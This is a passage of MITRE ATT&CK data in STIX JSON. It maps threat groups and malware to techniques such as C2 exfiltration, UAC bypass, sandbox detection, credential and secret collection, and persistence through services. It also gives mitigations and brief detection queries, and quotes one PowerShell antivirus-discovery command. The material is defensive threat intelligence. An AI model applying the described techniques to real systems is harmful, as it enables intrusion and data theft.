2017"}],"modified":"2021-11-02T21:07:07.549Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) collected the victim username and whether it was running as admin, then sent the information to its C2 server.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8bb51178-fa35-4441-99f3-f01fb305b03b","created":"2019-01-30T19:18:20.134Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro MacOS April 2018","description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/"},{"source_name":"Trend Micro MacOS Backdoor November 2020","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T20:56:28.406Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) scrambles and encrypts data using AES256 before sending it to the C2 server.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bb8c2ab-b701-4a09-902b-a2ddf8d36451","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:52:53.269Z","description":"An older variant of [PLAINTEE](https://attack.mitre.org/software/S0254) performs UAC bypass.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8bba06f3-fac2-4484-a177-53d5716f80a6","created":"2022-07-14T17:22:54.577Z","x_mitre_version":"0.1","external_references":[{"source_name":"NCC Group TA505","url":"https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/","description":"Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TA505](https://attack.mitre.org/groups/G0092) has decrypted packed DLLs with an XOR key.(Citation: NCC Group TA505)","modified":"2022-07-14T18:26:34.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8bbe5f67-f65e-4982-8897-7f7466fc0845","created":"2019-04-24T13:44:02.099Z","x_mitre_version":"1.0","external_references":[{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."},{"source_name":"Talos Group123","url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018."},{"source_name":"NCCGroup RokRat Nov 2018","url":"https://research.nccgroup.com/2018/11/08/rokrat-analysis/","description":"Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ROKRAT](https://attack.mitre.org/software/S0240) can check for VMware-related files and DLLs related to sandboxes.(Citation: Talos Group123)(Citation: NCCGroup RokRat Nov 2018)(Citation: Malwarebytes RokRAT VBA January 2021)","modified":"2022-04-18T17:40:12.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bbf259b-029b-48fa-859b-5dbbbcd98b53","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.726Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) gathers information on the system and local drives.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8bc0dbc4-f84b-448a-95f9-f6b0ae56f256","created":"2021-04-16T21:33:50.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"},{"source_name":"NCSC APT29 July 2020","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T19:00:56.023Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used compromised identities to access networks via VPNs and Citrix.(Citation: NCSC APT29 July 2020)(Citation: Mandiant APT29 Microsoft 365 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bc57fb8-9379-4bcb-9f9f-d40cd86bca57","type":"relationship","created":"2020-10-20T03:30:50.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-27T15:37:09.186Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bc92d99-f6ea-4ec8-9c23-cc910b17809c","type":"relationship","created":"2021-09-22T17:45:10.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T20:36:26.716Z","description":"Consider removing mavinject.exe if Microsoft App-V is not used within a given environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bcaac7c-46c8-459a-a55c-b1e218c62cfc","type":"relationship","created":"2020-01-24T15:15:44.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T15:15:44.235Z","relationship_type":"revoked-by","source_ref":"attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753","target_ref":"attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bcc4714-800c-4d13-8b85-2bdf107f5fb4","type":"relationship","created":"2021-09-16T20:22:34.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Sliver Screen","url":"https://github.com/BishopFox/sliver/blob/master/implant/sliver/screen/screenshot_windows.go","description":"BishopFox. (n.d.). Sliver Screenshot. Retrieved September 16, 2021."}],"modified":"2021-10-16T02:18:31.302Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can take screenshots of the victim’s active display.(Citation: GitHub Sliver Screen)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bcc4b82-d25f-49ce-a4f2-967994ae21de","type":"relationship","created":"2020-02-18T18:34:49.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-18T18:34:49.737Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8bcfefd1-20c7-4784-ae07-3e693ecff605","created":"2022-10-19T17:10:51.734Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T17:10:51.734Z","description":"Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8bd2ef35-fc98-4593-b4da-e54e163649dd","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T17:59:06.237Z","description":" Monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.(Citation: Mandiant Cloudy Logs 2023)\n\nAnalytic 1 - Multiple failed logon attempts across different accounts, especially targeting common usernames.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode IN (4625, 5379)) OR\n(index=os sourcetype=\"linux_secure\" message=\"Failed password\") OR\n(index=os sourcetype=\"macos_secure\" message=\"Failed to authenticate user\")","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8bdc51e7-d2fd-44fb-bfed-6767b6522405","created":"2021-01-29T17:56:30.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Indrik November 2018","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"},{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:38:38.140Z","description":"(Citation: Crowdstrike Indrik November 2018)(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8be10d07-69bd-47ae-9dea-5918d1005699","type":"relationship","created":"2020-01-14T17:23:05.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T17:23:05.953Z","relationship_type":"revoked-by","source_ref":"attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0","target_ref":"attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8be670ce-f8bd-4f67-9f84-3e278235325a","created":"2022-04-18T16:28:59.091Z","x_mitre_version":"0.1","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Donut](https://attack.mitre.org/software/S0695) can generate shellcode outputs that execute via JavaScript or JScript.(Citation: Donut Github)\t","modified":"2022-04-18T16:30:16.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8be7c428-5ef7-43ff-8a68-2ac3f577bb4b","created":"2022-02-08T16:11:38.690Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can query the Kubernetes API for secrets.(Citation: Peirates GitHub)","modified":"2022-04-14T20:58:07.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8be8b96b-b69c-497a-8b38-308b8bd291ff","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito Jan 2018"}],"modified":"2020-03-17T15:03:17.054Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used spearphishing via a link to get users to download and run their malware.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8beb37e3-5cf0-4229-ae27-186a37133521","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.398Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) can list file and directory information.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bed4012-0b27-409b-8236-1b5238dd477d","type":"relationship","created":"2020-07-22T19:16:02.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-07-22T19:16:02.861Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has used Google Chrome's decryption and extraction operations.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8beed6cd-0a69-47b3-9c4e-f4cc3c4dfaa2","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T19:44:16.491Z","description":"Monitor newly executed processes that may abuse system services or daemons to execute commands or programs.\n\nAnalytic 1 - New processes abusing system services.\n\nsourcetype=process_logs\n| search process IN (\"services.exe\", \"systemd\", \"launchd\")\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8bf25335-9705-4737-82cf-218832c5e1c0","created":"2023-03-31T18:07:42.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2017","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020.","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T13:49:11.434Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used an arbitrary system service to load at system boot for persistence for [Industroyer](https://attack.mitre.org/software/S0604). They also replaced the ImagePath registry value of a Windows service with a new backdoor binary. (Citation: Dragos Crashoverride 2017)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bfa94cf-4eeb-442c-8f18-25b07cd3cbf5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.570Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used a tool known as RemoteExec (similar to [PsExec](https://attack.mitre.org/software/S0029)) to remotely execute batch scripts and binaries.(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8bfac9d6-8d6d-4a2f-9718-4015f231fdae","created":"2022-03-15T20:02:43.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.414Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has checked for the presence of antivirus software with powershell Get-CimInstance -Namespace root/securityCenter2 – classname antivirusproduct.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c0286e0-036d-4282-9e54-6938c958b7e9","type":"relationship","created":"2019-06-21T16:52:53.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-20T22:43:41.446Z","description":"Certain developer utilities should be blocked or restricted if not required.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c041b13-34d6-4da5-8a80-0dade355953d","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries.(Citation: SpectorOps Subverting Trust Sept 2017) Also analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017)\n\nOn macOS, the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Also monitor software update frameworks that may strip this flag when performing updates.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"},{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c13ef6b-5274-4de0-9fad-531b9c87309e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"}],"modified":"2019-07-26T23:38:34.070Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.(Citation: Talos Cobalt Group July 